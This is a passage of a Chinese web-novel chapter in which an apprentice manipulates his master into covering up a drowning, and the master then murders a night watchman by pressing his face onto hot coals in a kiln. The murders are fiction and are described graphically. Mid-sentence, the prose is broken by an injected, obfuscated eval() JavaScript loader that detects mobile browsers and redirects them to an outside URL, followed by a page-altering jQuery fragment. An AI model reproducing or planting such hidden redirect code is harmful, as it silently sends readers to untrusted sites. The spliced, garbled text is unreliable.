“师父,赵哥醉酒落水,我想去捞他上来,可是我捞不起来,我捞不起来啊师父!”
宋令安仰起头,眼泪簌簌落下,无助极了,也愧疚极了,“师父,我没能救起他,我没能救起他,呜呜呜……”
“是,是这样吗……”吴从海无所适从,他呼出一口气,想起宋令安往日的乖巧,有些接受这个说法。
方才他喝多了酒在路边睡下,迷糊中被一阵水声吵醒,过来看时,就看到那背影很像宋令安的人,在水里晃动着手。
他在原地呆了片刻,才意识到他徒儿的手下是一个人。
宋令安在杀人。这是他第一念头,他很想逃,可他发现脚上使不出力气。
可是现在一听,原来是在救人吗?
似乎……他想了想,确实也像是在救人。
“师父……”吴从海不抖了,轮到宋令安发抖了,他举起自己颤抖不已的双手,懊悔万分,“我力气太小了,我救不了他……”
“我救不了他,可怜的赵兴大哥,他,他明明前途一片光明,很快能官袍加身,可惜却……呜呜呜……”
官袍加身?
吴从海捕捉到自己梦寐以求的部分,虽说他现在勉强也算是个官,但他才当不久,那种几十年如一日的渴望,至今仍旧熟悉。
熟悉到,他忘记了死了人的害怕。
忘了就好,你可不能害怕。
宋令安观察着吴从海转变至疑惑的表情,熟练地从自己师父脸上的每一个褶子上分析着他的心意。
确定自己赌对了,吴从海当真相信他的说辞后,立刻抓住吴从海的手,一把将其拉到水边。
在赵兴的尸体下沉的位置,吴从海的手被宋令安强制地按在水中。
“师父,你救救他,你救救赵哥吧!师父,你不能见死不救啊师父!”
宋令安成功颠倒黑白。
“啊!”
赵兴的尸体已经沉下去,但在夜色中显得黑沉的水,像是尸体还在,冰凉柔软的水入手的霎那,吴从海以为自己触碰到了尸体,忍不住惊叫出声。
宋令安早料到他的反应,及时捂住了吴从海的嘴,一张无辜的脸放大在吴从海眼中,乞求道:“师父,咱们不能见死不救啊!”
“徒儿没用,不会水。师父,你会水,你快下去救救赵哥吧!”
说着,宋令安还把吴从海往水里推。
吴从海像是触电一般,摇着头离开水边:“不不不,我不会水,他,他已经死了。”
宋令安急得跺脚:“师父,你别骗人了,谁都知道你会水的!”
谁都知道?
吴从海看了看黑漆漆的水面,立刻又摇着头别过脸去:“他已经死了,救不活了!”
“那咱们就去报官,去报官吧!”宋令安失落地说着,“就是可惜了,赵哥才发现怎么把高炉造得耐火耐侵蚀,眼看着就要……”
“你说什么?”吴从海拦住宋令安要去报官的脚步,向来简单的脑子,又一次在他徒弟的引导下,学会复杂起来。
只是他从来意识不到,小到最初见过温似练后与李序故意说起温似练厉害,大到勾起李序对温似练报复之心收买孙强与赵水对竹编炊具下毒,统统都是受他的好徒弟宋令安不动声色地引导的。
“嗯?”宋令安抬眼,疑惑地看着他。
吴从海完全没注意到徒弟的声音里带着尖锐的锥子,只想获取有利于自己的:“赵兴,他发现了什么?”
“哦——”
宋令安像是被师父牵着走的木讷木偶,嘴唇翕动间不自觉道明。
无人发现,他向水面的那半边脸上,是残忍的,精彩的。
翌日。
到了下工时间,铸铁坊内匠人们纷纷离开,但有一人迟迟不走,四处检查。
此人名为李补,这个月由他守夜,毕竟铸铁坊内易燃物太多了,即使已经不再添柴加火,也需要有人看守。
吴从海离开铸铁坊前,有意无意地看了李补一眼。
从昨夜到现在,他的心跳声都如擂鼓一般,几乎要将他洞穿,终于在最后一缕残阳消失在天际时绕开他,反击穿了他的纠结。
吴从海一面与同行人点头微笑,一面攥紧双手,下定了决心。
杀人夺功。
他必须这么做。
他的手心似乎还能感觉到昨夜被宋令安按入水下的冰凉之感,好像那赵兴死于他手。
本该害怕的,也确实是害怕的,但害怕之后,这种似乎已经亲手杀过一个人的感觉,也让他的胆子变大一点。
在脑中抢夺赵兴功劳的念头出现,又被宋令安的一句“李补当时也在,本来他也想一起喝酒祝贺的”给击碎后,吴从海心中的贪念熄灭一息,进而被不甘包裹着高涨。
当贪念被撑爆,散落在四肢百骸之后,他的胆子吸取着这些能量,得到了滋养。
他已经听不进去宋令安在身边可惜着哀叹着要是多一个人就能救下赵兴,脑中有一个声音不断叫嚣着“死得好死得好”。
不记得过了多久,他一巴掌甩在宋令安脸上。
看到宋令安不可置信的表情时,他想起来了宋令安的家世,尽管在遍地权贵的京师算不得什么,但对于他而言,已是高不可攀。
而他,竟然打了宋令安!
他心中一慌,张嘴就想道歉安抚。
然后道歉的话还没出口,就见宋令安委屈地耷下脸来,抱着他的胳膊可怜兮兮地问:“师父,是徒儿做错了什么吗?”
宋令安竟然不生气?
这个娇生惯养的少爷竟然不生气?
“师父,徒儿若是做错了什么,你说出来,我一定改!”
不仅不生气,还在哀求着他的原谅。
宋令安的低姿态,很快消除了吴从海的不安。
吴从海回想着昨夜对宋令安的嘱咐,特意走到昨夜的河边,尸体还没有浮上来,也没有被人发现,可见宋令安真的对他言听计从,相信了他若高升必提宋令安的许诺。
脑中宋令安的唯唯诺诺挥之不去,他浑身充满了力气,深刻明白只要自己够强势,就可以解决任何人。
不,或许现在说任何人还太早了,但那个精瘦的中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103392|186469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年的李补,他定然可以解决。
一定可以解决!
吴从海在心中给自己打着气,将心中的杀意不断强化。
在天黑之后,人流大量减少,他提着一壶酒,避着人,又走进了铸铁坊。
李补在退火窑,这儿温度合宜,秋日待一晚上很是舒适。
同僚之间,常有人陪守夜人待一段时间的,李补对于吴从海的到来并不意外,只当他好心陪伴。
一坛酒饮尽之后,二人并无多少醉意,吴从海告辞离开。
不料没有注意看,吴从海被地上的一块木柴绊倒,差点撞到窑炉内,还好两手及时撑住。
看着窑炉内黑中泛出红光的木炭,他当即抱怨:“李补!你怎么检查的,木柴怎的不摆好,害得我差点一头扎进木炭上!”
他说话的语气严肃,却又不那么严肃。
加上方才还是和自己肩并肩同饮一坛酒的人,期间也有玩笑取乐,李补自以为他们的关系深了不少,对此没当回事,只在原地捧腹大笑起来。
不曾想,吴从海突然计较起来,以为他是嘲笑,顿时怒红了脸,一把提起李补带到窑炉前,将李补的头按到窑口。
李补察觉到他是真怒,却只以为吴从海是想让他也感受一番方才的险境后,此事便算抵消。
“好了好了,吴啬夫,我知道错了。”
他敷衍地求着绕,吴从海仍把他的头往里挪。
火焰是熄了,但被一层黑色覆盖下还泛红的木炭,分明表示着依然是身体不可接触之温度。
李补感到恐惧,胸肩被按在窑口的感觉也很难受,他也有了怒气:“够了,吴从海,你方才又没撞上!况且那木柴你来时不也是那样,每日都那么放着,我看是你酒量太差,喝醉了还装没醉,自己走不好路才被绊倒!”
吴从海的声音从头顶传来,是被挑衅的感觉,恶狠狠地将他的头更往里按。
“你居然敢直呼我名字,李补,我看你真是不知自己有几斤几两了!老子说你没摆好就是没摆好,你还敢顶嘴?”
“直呼你名字怎么了?不过一个小小啬夫罢了,还真当自己是个官了?”李补也不甘示弱,嘴上一边驳着,一边挣扎要出去。
就此,二人剧烈对抗起来。
吴从海占了先手优势,很快将喋喋不休的李补按到木炭上。
瞬间,木炭上的黑灰剥落,露出猩红的光,炙烤着李补的整张脸……
李补甚至发不出喊叫声,只能痛苦的闷哼着挣扎。
可惜他不是吴从海的对手,在窑外的双手没长眼睛,只能胡乱地挥舞,最多抓破吴从海的衣裳。
渐渐地,李补挣扎的动作越来越小。
第一次杀人,吴从海也是满头大汗,想着再坚持一会儿,再坚持一会儿就好了。
可惜天不遂人愿,李补还没彻底死亡,退火窑区进来一个匠人。
吴从海认识他,是周韦。
周韦是来找平安符的,那是他妻子为他求来的,他每日戴在身上,今日要沐浴时发现丢失,这才回来找,没想到目睹了这杀人现场。